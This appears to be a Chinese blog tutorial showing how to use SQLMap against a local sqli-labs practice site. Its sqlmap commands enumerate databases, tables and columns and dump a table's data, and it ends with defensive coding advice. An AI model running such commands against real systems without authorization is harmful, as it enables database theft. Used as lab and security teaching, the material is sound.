广州百度网站建设公司,网络游戏制作公司,本地高端网站建设信息大全,设计软件图标文章目录 简介获取当前数据库和用户信息获取MySQL中的所有数据库名称查询wucai数据库中的所有数据表查看heros数据表中的所有字段查询heros表中的英雄信息总结参考文献 简介
从上一小节#xff0c;可以发现#xff0c;如果我们编写的代码存在着SQL注入的漏洞#xff0c;后果… 文章目录 简介获取当前数据库和用户信息获取MySQL中的所有数据库名称查询wucai数据库中的所有数据表查看heros数据表中的所有字段查询heros表中的英雄信息总结参考文献 简介
从上一小节可以发现如果我们编写的代码存在着SQL注入的漏洞后果还是很可怕的只需要通过访问information_schema表就可以将数据库的信息全部暴露出来。
接下来我们了解下SQLMap工具它可以帮我们自动化完成SQL注入的过程。让我们使用SQLmap工具再重现一下上一节做的人工注入的步骤。
获取当前数据库和用户信息
执行以下命令
python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id1 --current-db --current-user--current-db表示获取当前数据库名称
--current-user表示获取当前用户的信息
然后你可以看到SQLmap帮我们获取了相应的结果 获取MySQL中的所有数据库名称
执行
python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id1 --threads5 --dbs这里我们使用--threads来指定SQLmap的最大并发数通常不要超过10。
于是它帮我们获取了当前MySQL中的8个数据库名称 查询wucai数据库中的所有数据表
执行
python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id1 --threads5 -D wucai --tables-D表示待查询的数据库的库名
--tables表示显示出所有数据表名称 查看heros数据表中的所有字段
执行
python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id1 --threads5 -D wucai -T heros --columns-T表示指定的数据表名称
--columns表示对所有字段名称进行查询 查询heros表中的英雄信息
执行
python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id1 -D wucai -T heros -C id,name,hp_max --dump-C后面表示需要查询的字段名
--dump表示展示具体数据。 至此整个数据库对我们来说就是不设防的状态了。
总结
总之代码规范性对web安全来讲非常重要尽量不要采用直接拼接的方式进行查询一定要拼接的话必须在后端提前做好参数验证如java的sqlparameter不能因为在前端验证完参数就认为安全了前端的验证是很容易被绕过的。
同时web上线之后还需要将生产环境中的错误提示信息关闭坚决不能给不法分子可乘之机以减少被SQL 注入的风险。
此外我们也可以采用第三方的工具比如SQLmap来对web应用进行检测以增强web安全性。
当然本节讲的内容都很基础现在真正的SQL注入攻防可比本节展示的内容复杂多了。
参考文献
37丨SQL注入你的SQL是如何被注入的